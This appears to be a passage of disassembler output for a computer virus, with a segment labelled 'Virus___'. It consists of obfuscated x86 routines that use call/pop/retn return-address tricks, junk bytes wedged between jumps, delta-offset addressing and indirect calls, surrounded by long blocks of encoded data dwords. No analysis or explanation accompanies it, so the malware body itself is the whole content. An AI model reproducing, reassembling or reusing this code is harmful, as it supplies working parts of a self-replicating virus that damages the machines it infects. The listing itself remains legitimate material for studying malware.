[ebp+71B1299h], eax push 0 push ebp call sub_56B3DC and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56B3DC proc near ; CODE XREF: Virus___:0056B3D4p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_56B3DC endp ; --------------------------------------------------------------------------- dd 1957E6BEh, 1C0585C6h, 0E846071Bh, 0Bh, 11A9F6FEh, 18D2711Fh dd 60F6B40Fh, 800Fh, 8A0F0000h, 0 ; --------------------------------------------------------------------------- popa pop ecx push 0BADE0614h sub [ebp+71B0E05h], esi push dword ptr [ebp+71B225Dh] jmp loc_56B43E ; --------------------------------------------------------------------------- dd 7AB626E2h, 0B10326E9h, 0ABB93A57h, 67D87023h db 0E2h, 38h ; --------------------------------------------------------------------------- loc_56B43E: ; CODE XREF: Virus___:0056B427j lea eax, [ebp+71B3B0Ch] jnb loc_56B45C call near ptr loc_56B44F+6 loc_56B44F: ; CODE XREF: Virus___:0056B44Ap call far ptr 89B2h:48E4C6DEh mov ebp, 71B1ABDh pop ecx loc_56B45C: ; CODE XREF: Virus___:0056B444j add edi, [ebp+71B1EF1h] call eax call sub_56B47A add [esi], ecx dec esp jg short near ptr sub_56B49A+3 cmp ds:7F08288Fh, esp mov ecx, esp xchg eax, esp or [ecx+0], edx ; =============== S U B R O U T I N E ======================================= sub_56B47A proc near ; CODE XREF: Virus___:0056B464p mov ecx, edx pop edx mov [ebp+71B2D3Dh], eax pusha call sub_56B49A mov al, 52h push ebx sbb al, 0E0h mov ah, 0A1h and al, 1Bh les edi, [ebx-602CFB9Ah] adc [ecx], ah sub_56B47A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_56B49A proc near ; CODE XREF: sub_56B47A+Ap ; Virus___:0056B46Cj xor [ebp+71B1B39h], edx pop edx sub [ebp+71B20D1h], ebx popa mov byte ptr [ebp+71B1C05h], 47h jnz loc_56B4B9 mov di, 5A7Ah loc_56B4B9: ; CODE XREF: sub_56B49A+15j push 8A0FB5E2h mov [ebp+71B27A1h], esi push dword ptr [ebp+71B225Dh] mov [ebp+71B1C3Dh], esi mov edx, [ebp+71B11BDh] lea eax, [ebp+71B3B0Ch] sbb ecx, 1147C24Ch call eax push 0 push edx call sub_56B4EF and [edx-3Dh], bl sub_56B49A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_56B4EF proc near ; CODE XREF: sub_56B49A+4Dp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_56B4EF endp ; --------------------------------------------------------------------------- db 0FCh dd 0ED572A5Fh, 0D7D8589h, 0CE8071Bh, 2E000000h, 60DFF435h dd 0A73944Eh, 60621D7Fh, 29659529h, 5B51071Bh, 9D315961h dd 71B2E89h, 1C0585C6h, 8B47071Bh, 1B2B318Dh, 0B5F36807h dd 6A83D0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 0B5FFB9C3h, 71B225Dh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 0C0C35545h, 8B606051h, 1B1469B5h dd 95858907h, 61071B18h, 0A2D8D8Bh, 8D61071Bh, 1B3B0C85h dd 0C1BD0107h, 0FF071B21h, 6900B9D0h, 85890451h, 71B0581h dd 2D958960h, 66071B0Dh, 0A25CC181h, 585C661h, 77071B1Ch dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 4C35040h dd 0F87D6044h, 97A8A368h, 51006AF3h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 0E19AC295h dd 32A5BD89h, 0B5FF071Bh, 71B08CDh, 0D2BF0F52h, 8DB5295Ah dd 8D071B25h, 1B3B0C85h, 14E907h, 0B30A0000h, 0CC78DC19h dd 0AF5FA7D3h, 6071BDD6h, 0C3F688E0h, 0D0FFA90Fh, 3B5FBA66h dd 166D8589h, 6A071Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 0AD3C7AC3h, 27C05149h, 13E935h dd 43F70000h, 106324A9h, 0F1DBAE5h, 0A1F543E3h, 0A84CD19Bh dd 2B9AB911h, 85C661E1h, 71B1C05h, 0C8B70F47h, 1F39BD8Bh dd 0F668071Bh, 0F98728FAh, 225DB5FFh, 8B66071Bh, 0C858DF9h dd 89071B3Bh, 1B23F195h, 8BD0FF07h, 1B1EF9BDh, 0A9858907h dd 66071B2Bh, 85C6D08Bh, 71B1C05h, 0ED8D8943h, 68071B26h dd 0BC8E6EFCh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 34C35545h, 6BF660B7h, 0CE8B6619h, 225DB5FFh, 88B9071Bh dd 8D15AF2Fh, 1B3B0C85h, 0EDBD8B07h, 0FF071B04h, 0DE9D0h dd 79D20000h, 8967C5BBh, 725DB46Ch, 666345D1h, 896A4ABFh dd 1B2AD585h, 33A2B907h, 85C63C91h, 71B1C05h, 559D8945h dd 89071B31h, 1B1AD9BDh, 69696807h, 0BD898E72h, 71B3465h dd 6E9h, 5031E500h, 0FF0FED8Ah, 1B225DB5h, 198D8B07h, 8D071B2Ah dd 1B3B0C85h, 5840F07h, 0B9000000h, 632B0D2Ah, 8589D0FFh dd 71B0D79h, 145D8589h, 6A071Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 225E3CC3h, 585C653h dd 44071B1Ch, 0CED8D09h, 13E8071Bh, 1000000h, 0F745EDF8h dd 2994AC70h, 5BED1E46h, 184B2334h, 0BE9F02Eh, 12000000h dd 0F30C3B51h, 61B2BC50h, 685F5AD1h, 0B8F2EC64h, 0FE9h dd 0ECD6AC00h, 0D2480425h, 0B2952189h, 4677C2A0h, 2D852B60h dd 0E9071B28h, 11h, 20466332h, 30E42EC4h, 33531708h, 0D74365A2h dd 0B5FF619Ah, 71B225Dh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 0CBC35040h, 858DCFEEh, 71B3B0Ch, 90C9B966h dd 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 0F5FB1AC3h, 10174FE9h, 0E8BE5CE9h, 10h, 0BB124098h dd 3D3EA524h, 0B3407F97h, 266CB3EFh, 18D0Fh, 5AFC0000h dd 29A5BD2Bh, 8589071Bh, 71B2AC9h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 5CC35040h, 0C608F538h, 1B1C0585h dd 0DF814307h, 73744216h, 764AA768h, 53006AC0h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 9D0960EDh dd 71B150Dh, 0C004DA81h, 0B5FF7EC0h, 71B225Dh, 6800Fh dd 9D890000h, 71B00A5h, 24F1BD29h, 858D071Bh, 71B3B0Ch dd 0FF95D280h, 6870FD0h, 0B000000h, 1B3499BDh, 3D858907h dd 80071B29h, 0BD8014DDh, 71DF963h, 60840F00h, 0F9000000h dd 8C04BA66h, 0F945858Dh, 0DA81071Dh, 49E8BF3Eh, 55BD8B50h dd 6A071B1Fh, 0D7816601h, 6A2D23h, 6ACA8Bh, 12298D29h dd 95FF071Bh, 71B163Dh, 6EEF8166h, 0D585897Ah, 8B071B2Bh dd 1B298995h, 0FFFF6A07h, 1B2BD5B5h, 870F5007h, 6, 17D98D33h dd 0FF5A071Bh, 1B2F4595h, 8B5F5207h, 0C28166C0h, 0BD83FE44h dd 71B1BD1h, 83097500h, 1B1FD5BDh, 19740007h, 0C08B5350h dd 7D1B8h, 61858900h, 8D071B2Ah, 1DABB89Dh, 5BD3FF07h dd 0D5BD8358h, 71B1Fh, 53501774h, 7D1B8h, 61858900h, 8D071B2Ah dd 1DA8A79Dh, 5BD3FF07h, 5D958B58h, 0F9071B20h, 0C3BFC08Bh dd 0C64FC4DDh, 1B1C0585h, 0BE604707h, 0A34F90h, 16A1858Bh dd 6861071Bh, 93C8F7C1h, 0D7C8C981h, 0B5FF226Ah, 71B225Dh dd 0FBB4F781h, 858D13C5h, 71B3B0Ch, 0FFD2BF0Fh, 8800FD0h dd 52000000h, 29A58D8Bh, 505F071Bh, 27259D89h, 858D071Bh dd 71DFD86h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 30C35141h, 9A217458h, 26E19D89h, 9D89071Bh, 71B0891h dd 9400C7h, 0E9600000h, 8, 647E7BCh, 1B0F4575h, 8929B060h dd 1B046995h, 58616107h, 9E9h, 23118500h, 0F476A196h, 0E9819A86h dd 2D959B25h, 0FD86B58Dh, 952071Dh, 1B18C59Dh, 0D1815907h dd 4F59F8BCh, 0B9958B56h, 0FF071B12h, 12800FD0h, 0E9000000h dd 0Dh, 2FAA6E4Ah, 0BCF3387Ah, 8AF10547h, 86858DF4h, 0F5071DFDh dd 6047883h, 37850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 1AB004C3h, 8B60EA78h dd 1B22C9BDh, 1A85C707h, 1071DFEh, 81000000h, 779507DFh dd 21BD8320h, 71B1Fh, 58850Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 0CF4C7EC3h dd 80FB8B66h, 0BD83A6EDh, 71DFE1Ah, 27850F00h, 89000000h dd 1B24A195h, 0BDBD8307h, 71B2Fh, 14840Fh, 0BA660000h dd 85C7F82Eh, 71B1B0Dh, 0 dd 2CB5BD23h, 8C66071Bh, 0F5BD89DBh, 0F6071B26h, 840F04C3h dd 675h, 113D8529h, 85C7071Bh, 71B2105h, 0 dd 14E8h, 0E086AA00h, 0C85FAA7Eh, 0FC4103F6h, 0D916F994h dd 4BEECFACh, 899D2905h, 59071B2Eh, 0F970BD80h, 0F00071Dh dd 585h, 0CF816600h, 85C64329h, 71B1C05h, 11E9FC47h, 8000000h dd 335417B3h, 88F76D6Dh, 0E7A81267h, 0B55B0C23h, 0E45B8668h dd 57006AE3h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 0B559783Fh, 5DB5FF95h, 6A071B22h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 4B8DC357h, 14E856h, 4F010000h, 4B9B533Fh, 0A21FEC90h dd 0DB95D0D9h, 7782F18Dh, 9D096B86h, 71B0B89h, 858D5A59h dd 71B3B0Ch, 9998501h, 0D0FF071Bh, 64B1E981h, 468731Ch dd 6A000001h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 1ED7C351h, 0A485B9CCh, 9D8D3BAEh dd 71B1951h, 8953FB8Bh, 1B265D8Dh, 6AD0FF07h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 0A2E3C357h, 0C5BCB975h, 8D833D92h, 1B195185h, 0D5B52907h dd 50071B12h, 0BE8h, 92BCB000h, 0E71A59AEh, 20333945h dd 68C0Fh, 95230000h, 71B1B81h, 0C7816659h, 858DF649h dd 71DF922h, 0F395E281h, 10E9399Ch, 21000000h, 0D05F0217h dd 0D284BD3Bh, 8D2D028Dh, 5082E603h, 0CE8h, 8A979200h dd 2826ACBAh, 790D0A69h, 0CF81664Ch, 295F1436h, 1B34559Dh dd 0F5858D07h, 0F071DEFh, 0F50D1B7h, 588h, 8B665200h, 95FF5ACBh dd 71B166Dh, 6800Fh, 8D890000h, 71B2E0Dh, 600CC483h, 68006A61h dd 80h, 6A036Ah, 68006Ah, 8D800000h, 1DEFF585h, 95FF5007h dd 71B2AD5h, 0F9058589h, 85C6071Dh, 71B1C05h, 5E876847h dd 0B5FFC7B1h, 71B225Dh, 3B0C858Dh, 0D0FF071Bh, 0B5FF006Ah dd 71DF905h, 0D280D0FFh, 7D8D29A9h, 3D071B28h, 37D0h, 54830Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 234222C3h, 0B545BBF9h, 69BD03ABh, 0FF071B17h dd 1DF905B5h, 0C840F07h, 0F000000h, 687h, 25958B00h, 0FF071B27h dd 1B293D95h, 0F7816607h, 35E9D6E0h, 66000001h, 0B5FFD18Bh dd 71DF905h, 11E8h, 0A1310400h, 0B8EE6A7Fh, 409CB2F9h dd 0E6040BF6h, 0CE89D0Dh, 0BD000000h, 0A9BFC778h, 0BF914758h dd 3187BCB3h, 1B3061B5h, 66595907h, 95FFD78Bh, 71B293Dh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0F5C35141h dd 0BD8BDA98h, 71B0B91h, 29E58D8Bh, 0BA66071Bh, 6A3D5Fh dd 6A79CD80h, 0DD8D3100h, 6A071B20h, 45BD0B00h, 6A071B2Eh dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 5BFC2ECCh, 0DBFE9545h, 10E9h, 78A1C000h dd 0FBF786DBh, 8D7A92F0h, 25B331Ah, 29006AFBh, 1B2B15BDh dd 11E807h, 18590000h, 88EEBABCh, 173E3F84h, 6223FD39h dd 291A610Dh, 1B34798Dh, 6A5A07h, 6E9h, 0BBCD7200h, 8D3250C9h dd 1DF90985h, 45BD2907h, 50071B28h, 11E8h, 0CF30800h, 0C98B2A0Bh dd 0C8778480h, 71C17F1Eh, 9D89A65Ch, 71B3545h, 0D595FF59h dd 8B071B2Ah, 1B2F3D8Dh, 0FFF88307h, 1B7850Fh, 0BD8B0000h dd 71B2EF9h, 0B495858Dh, 800F071Dh, 0Eh, 61958B60h, 0F071B18h dd 87h, 0D0FF6100h, 6AD18B66h, 6E86000h, 0E8000000h, 2CDE40F4h dd 0ECB8663Bh, 0EA815EBFh, 14C57EFFh, 0A9952961h, 6A071B15h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 0A9FAE14Bh, 5FFAC78Dh, 0D9958B98h, 89071B2Dh dd 1B21959Dh, 0B9006A07h, 6E7ABD4Ch, 8D8B006Ah, 71B2665h dd 0B589006Ah, 71B2889h, 1869BD8Bh, 6A071Bh, 858DD18Bh dd 71DF909h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 0E7C35343h, 0C2A45910h, 5C3EBF53h, 29501EF0h, 1B2F7D95h dd 0D595FF07h, 6A071B2Ah, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0E0EBC351h, 8E9h, 5009B500h dd 6FA035F2h, 0B58957E9h, 71B2801h, 0FFF8835Fh, 0AB850Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h dd 51410000h, 4AF898C3h, 39D258EEh, 8DB663A2h, 1DF311B5h dd 0DE907h, 778B0000h, 0A4B60819h, 0B43C1361h, 8D8A89EDh dd 1DA57E85h, 92D78107h, 661D99D3h, 0FFBE36BFh, 52006AD0h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 0B0CBBCD7h, 0C6982BBh, 5A5745B9h, 0BF66006Ah, 95FFA4E8h dd 71B145Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 0C8C35141h, 0EDBD8B0Eh, 8B071B26h, 1B2AB1BDh, 5858907h dd 81071DF9h, 584C7D1h, 89006A1Eh, 1B214595h, 0FD858D07h dd 6A071DF8h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 593DC356h, 0E8ADB5CFh, 7E960h dd 0F990000h, 486A092Fh, 0AE848h, 6D3E0000h, 0AFA788Ah dd 0C12E0BF0h, 1535BD8Bh, 505A071Bh, 46AFE8Bh, 8DC8BF0Fh dd 1B23D585h, 14E807h, 0E4370000h, 0DC3315EBh, 0A5D28C1Ah dd 4E2AC4DCh, 22E5087Eh, 0BD8B3048h, 71B2181h, 6A5059h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 8D4F3FC3h, 6995299Dh, 0E9071B31h, 8, 3475AC8h, 5C020260h dd 0A9D8D8Bh, 6A071Bh, 6AF4B5h, 34A18D0Bh, 16A071Bh, 0F905B5FFh dd 8B66071Dh, 0FF75B2CBh, 1B2AC995h, 1B0BE907h, 8A0F0000h dd 1Dh, 10E960h, 0DDBF0000h, 0AF277AECh, 0D3AC9D2Eh, 2CE70B87h dd 8D09EA72h, 71B30FDh, 8BC08B61h, 1B0A9DBDh, 0D1BD8307h dd 71B1Bh, 0BD830975h, 71B1FD5h, 50197400h, 0B8C08B53h dd 7D2h, 2A618589h, 9D8D071Bh, 71DABB8h, 585BD3FFh, 1FD5BD83h dd 7400071Bh, 0B8535017h, 7D2h, 2A618589h, 9D8D071Bh, 71DA8A7h dd 585BD3FFh, 87C18166h, 0ADEFBFD7h, 0C08B3ABAh, 13E9h dd 0BAC99500h, 0A3DD5469h, 0AD353130h, 0A7A9168h, 0FBB6D970h dd 210585C7h, 1071Bh, 0BD8B0000h, 71B29C9h, 0E4E7B868h dd 0ADB5FFCEh, 8D071B00h, 1B3B0C85h, 89D0FF07h, 1B1AE985h dd 61858D07h, 50071DFBh, 0FE1E858Dh, 6850071Dh, 80000001h dd 1AE995FFh, 0C00B071Bh, 85C70A75h, 71B30C9h, 1, 5DBD468h dd 0ADB5FFC0h, 8D071B00h, 1B3B0C85h, 89D0FF07h, 1B2B9585h dd 0AE858D07h, 50071DEDh, 225DB5FFh, 95FF071Bh, 71B0D7Dh dd 0B74C00Bh, 858DD88Bh, 71DFD61h, 8DD3FF50h, 1DFD6185h dd 38836607h, 0C70A7509h, 1B226D85h, 107h, 0A995FF00h dd 25071B2Bh, 0FFh, 7305F883h, 7985C70Ah, 1071B29h, 80000000h dd 8D8933D5h, 71B1481h, 0F970BD80h, 0F00071Dh, 1984h, 0AD8D0100h dd 83071B34h, 1DFE1ABDh, 840F0007h, 13h, 11A18D89h, 82E9071Bh dd 56000019h, 1B25B529h, 835A071Bh, 1B226DBDh, 850F0007h dd 0A3h, 858DC88Bh, 71DF93Ah, 0A71BD89h, 0F50071Bh, 158Fh dd 9E800h, 87280000h, 0FAAEB506h dd 0F439360h, 87h, 16A5900h, 23D99531h, 0BD8B071Bh, 71B3389h dd 6660006Ah, 60AFA7BBh, 23A1BD8Bh, 61F8071Bh, 0F006A61h dd 68Fh, 51BD8B00h, 66071B04h, 0A7FDD281h, 163D95FFh, 0B589071Bh dd 71B2A1Dh, 0F9648589h, 0EE9071Dh, 0EC000000h, 0CE11F616h dd 0E4DBE6EAh, 0A0F5C00Fh, 66FF6A2Fh, 8A6CEF81h, 0F964B5FFh dd 0BF66071Dh, 95FFADC7h, 71B2F45h, 5581DF81h, 81662E7Dh dd 8D6708CAh, 1DED7585h, 0F50F807h, 9D89CABFh, 71B2781h dd 129995FFh, 8D0F071Bh, 0 dd 0AE8h, 0DEF8FC00h, 0E7183AD4h, 0F57510D3h, 0FF85895Fh dd 66071DEDh, 0F66DC181h, 0ED82858Dh, 9589071Dh, 71B17BDh dd 99858950h, 0FF071B33h, 1DEDFFB5h, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 847FBB2Bh dd 233A2194h, 95FFD68Bh, 71B0D7Dh, 28C9952Bh, 8589071Bh dd 71B15B5h, 0BD896057h, 71B0A3Dh, 0F5A61F5h, 858DFFBFh dd 71DEDF0h, 10E860h, 637E0000h, 7F564EB2h, 3752CCC9h dd 1E2B24F1h, 0BD09E0F8h, 71B059Dh, 61CE8B58h, 0F9BD8B50h dd 0E9071B20h, 8, 55C17B0Ch, 0D4DC152Ah, 0EDFFB5FFh, 6A071Dh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dword_56C514 dd 51410000h, 391007C3h, 9D48B5D0h, 880FAB96h, 6, 56DBD29h ; DATA XREF: Virus___:0056139Ao dd 95FF071Bh, 71B0D7Dh, 0CD1958Bh, 8589071Bh, 71DEE13h dd 858DD38Bh, 71DEDCFh, 0B958C181h, 6A5017CEh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 0FE14C357h, 8333C244h, 0DE9h, 469A6900h, 0B46FF5C9h dd 0FAACEE16h, 0CE8B52D6h, 0EDFFB5FFh, 11E9071Dh, 0B3000000h dd 25C2DABh, 0B1E75626h, 65D24C13h, 0CC7D62B3h, 0D7D95FFh dd 8D89071Bh, 71B00B1h, 0EE0B8589h, 0BD29071Dh, 71B3061h dd 858D43B1h, 71DEDC2h, 0F88B250h, 0B5FFCBB7h, 71DEDFFh dd 0FFFB8B66h, 1B0D7D95h, 8D958B07h, 89071B23h, 1DEE0F85h dd 2AC28007h, 0EDDD858Dh, 0B60071Dh, 1B2F4DBDh, 3FBF6607h dd 0DE96151h, 23000000h, 629F15BFh, 0AF48D731h, 0CE31DBD9h dd 56006A50h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 0BCC13093h, 0C3BA8B0Dh, 0BD8BE0B3h, 71B128Dh dd 2AEF8166h, 0FFB5FF76h, 0FC071DEDh, 0D7D95FFh, 0B589071Bh dd 71B2039h, 5E9h, 0F81CD00h, 8589AA27h, 71B0BF5h, 66DBB966h dd 0ED91858Dh, 6A071Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 0BA105C3h, 0C65535E9h, 8D8B5061h dd 71B32EDh, 6A5059h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 1F47E6C3h, 86D9E017h, 0EDFFB5FFh dd 0FFF5071Dh, 1B0D7D95h, 0A58D8B07h, 89071B0Dh, 1DEE0385h dd 0FAB70F07h, 13E8h, 35658400h, 0AC5E479h, 321DCF31h dd 554FF78Ah, 6FE88208h, 0DE9h, 0F9856C00h, 68C71B45h dd 0A0239B6Bh, 8D5AA70Dh, 1DEDA085h, 66CA8B07h, 0D29F281h dd 50006A50h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 0F5ABECBh, 685h, 79952B00h, 0FF071B1Ch dd 1DEDFFB5h, 39B58907h, 0B9071B29h, 22661758h, 0D7D95FFh dd 6A071Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 899A93C3h, 1B08F585h, 62BA6607h, 78589F0h dd 0B5071DEEh, 10468E3h, 8D8B0000h, 71B1901h, 0EE97858Dh dd 86B9071Dh, 501FC9F5h, 658D3360h, 0F071B2Ah, 685h, 59958900h dd 61071B12h, 0EF9B858Dh, 8D8B071Dh, 71B17BDh, 7D8D8B50h dd 80071B2Dh, 95FF5EE9h, 71B0581h, 9598D89h, 0C085071Bh dd 850Fh, 0BD800000h, 71DF970h, 35850F00h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 0B9B6C352h, 9E91D3Fh, 49000000h, 0AF1A112Ah, 6D82D79Bh dd 14E4E9h, 6CCA8000h, 226DBD83h, 0F00071Bh, 1185h, 0C9B70F00h dd 0FE1ABD83h, 0F00071Dh, 4484h, 858DF500h, 71DEE34h, 14B8E9h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 0D68D7E4Dh, 777D2FC3h, 38A0FCBh, 0F000000h dd 18E9D7B7h, 29000000h, 1B2FFD8Dh, 1F858D07h, 0F071DEEh dd 683h, 49BD8B00h, 50071B35h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 0CBC35343h, 3FCC0419h, 1B568236h dd 4D958B3Eh, 8B071B0Dh, 97858DF8h, 66071DEEh, 6650D68Bh dd 0BD83CE8Bh, 71B226Dh, 34840F00h, 89000000h, 1B2485BDh dd 0BD858D07h, 0E9071DEFh, 14h, 0D53236AFh, 0F3DCDAAEh dd 6E136B20h, 45AD0091h, 0B0370BB7h, 31E9h, 860F5700h dd 2, 8D5F5F50h, 1DEFA685h, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0F4C0979h dd 5150C8BFh, 2255BD8Bh, 8D5F071Bh, 1DEFF585h, 59858907h dd 50071B32h, 6880Fh, 0E2810000h, 0E297440h, 166D95FFh dd 0FE8B071Bh, 2910C483h, 1B2B7585h, 8BC08B07h, 1B1A71BDh dd 0B7E68007h, 1BD1BD83h, 7500071Bh, 0D5BD8309h, 71B1Fh dd 53501974h, 0D3B8C08Bh, 89000007h, 1B2A6185h, 0B89D8D07h dd 0FF071DABh, 83585BD3h, 1B1FD5BDh, 17740007h, 0D3B85350h dd 89000007h, 1B2A6185h, 0A79D8D07h, 0FF071DA8h, 0F585BD3h dd 38Dh, 51C58000h, 3465958Bh, 0B966071Bh, 0C08B4946h dd 8E9h, 4A430200h, 0EACC61C7h, 1FBD81ECh, 6F071DEEh, 0F616572h dd 0A184h, 84EABA00h, 858D184Eh, 71DEE97h, 0D4858D50h dd 50071DEFh, 0EFF5858Dh, 0FF50071Dh, 1B166D95h, 0CC48307h dd 1C0585C6h, 6844071Bh, 96A3184Fh, 225DB5FFh, 858D071Bh dd 71B3B0Ch, 0D88BD0FFh, 0EFF5858Dh, 0FF50071Dh, 1F858DD3h dd 50071DEEh, 0EE97858Dh, 8350071Dh, 1B226DBDh, 8740007h dd 0EFBD858Dh, 6EB071Dh, 0EFA6858Dh, 8D50071Dh, 1DEFF585h dd 95FF5007h, 71B166Dh, 6A10C483h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 2FC1C355h dd 46F5B6EBh, 95FFEB8Ah, 71B2BA9h, 0B598D8Bh, 9D89071Bh dd 71B04B5h, 0FF25h, 9D852900h, 83071B2Ah, 830F05F8h, 2Eh dd 0C7D78B66h, 1B297985h, 107h, 39BD0900h, 8D071B24h, 1DEE5385h dd 0F9BD0307h, 0E9071B21h, 42h, 2642BA66h, 33A18D8Bh, 0BD83071Bh dd 71B226Dh, 21840F00h, 60000000h, 0CA6B67BFh, 858D610Ch dd 71DEE7Eh, 2E05BD23h, 13E9071Bh, 0F000000h, 389h, 0CB8B6600h dd 0EE60858Dh, 0BA66071Dh, 85895E42h, 71DEE93h, 0BD83D78Bh dd 71B226Dh, 13850F00h, 29000000h, 1B0D11B5h, 1ABD8307h dd 71DFEh, 27840Fh, 0B6E90000h, 6A000011h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0FCCC356h dd 18A160B8h, 49CE9B4h, 0B5290000h, 71B1639h, 6AC08Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 0B2436AC3h, 0BD83A26Eh, 71B1BD1h, 83097500h, 1B1FD5BDh dd 19740007h, 0C08B5350h, 7D4B8h, 61858900h, 8D071B2Ah dd 1DABB89Dh, 5BD3FF07h, 0D5BD8358h, 71B1Fh, 53501774h dd 7D4B8h, 61858900h, 8D071B2Ah, 1DA8A79Dh, 5BD3FF07h dd 68E0F58h, 8B000000h, 1B17A18Dh, 3850F07h, 66000000h dd 0C08BFE8Bh, 0BA5B589h, 3F68071Bh, 6A000F00h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 0AC57C357h, 6AD48AFCh, 0EEEF8100h, 6A203BA1h, 0D8D8B00h dd 89071B25h, 1B17418Dh, 0B595FF07h, 89071B15h, 1B02FDB5h dd 0FC08507h, 685h, 0DD950300h, 89071B26h, 1DEE1785h, 0CB8B6607h dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 0A6A32BC3h, 58D8B5Bh, 6A071B22h, 0B5895600h dd 71B0E25h, 50006A5Ah, 3870Fh, 0E2800000h, 6A5973h, 11E9h dd 1AA2000h, 6146023Ch, 2DDBF59Dh, 0C6E4244Ch, 6AB112h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 78C35040h dd 81E02CFDh, 9EC875D7h, 0D4EE8057h, 0EFF5858Dh, 6A071Dh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 0F2301C3h, 581h, 0C1816600h, 0BF50AAFAh, 6FBED72Bh dd 0BD01016Ah, 71B210Dh, 6A016Ah, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 2D2DA2C3h, 0A943F7DEh, 6ACE8B24h, 0CD950301h, 68071B16h dd 0F01FFh, 6DBD83F5h, 71B22h, 3C840Fh, 0B5890000h, 71B2C45h dd 518DC3BFh, 74858D06h, 0E9071DEEh, 0Bh, 8FE2DC9Bh, 6C3446AFh dd 0E9006AB1h, 1Fh, 11E9h, 0E9EC1A00h, 0A7F2FA90h, 0E5A6E544h dd 81F75CF0h, 858DA711h, 71DEE4Ah, 50C9B70Fh, 14E8h, 3953C500h dd 0C4165A41h, 0CC5F8E54h, 0BF2B9308h, 0CAEA5AADh, 0F2816636h dd 505A7B5Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 87C35040h, 0EE17B5FFh, 0BD29071Dh, 71B124Dh, 0EE0395FFh dd 0E981071Dh, 361C7098h, 850FC085h, 16h, 3459958Bh, 0CF81071Bh dd 16EC95F3h, 4DE9h, 3D09BA00h, 858978BFh, 71DEE1Bh, 0EE1BB5FFh dd 9509071Dh, 71B2059h, 0BF595FFh, 6A071Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 60DA31C3h dd 12B4E881h, 61FC7FBCh, 850FC085h, 2, 106ACE8Bh, 83C8B70Fh dd 1B226DBDh, 840F0007h, 4Dh, 0BD89CA8Bh, 71B297Dh, 0EE74858Dh dd 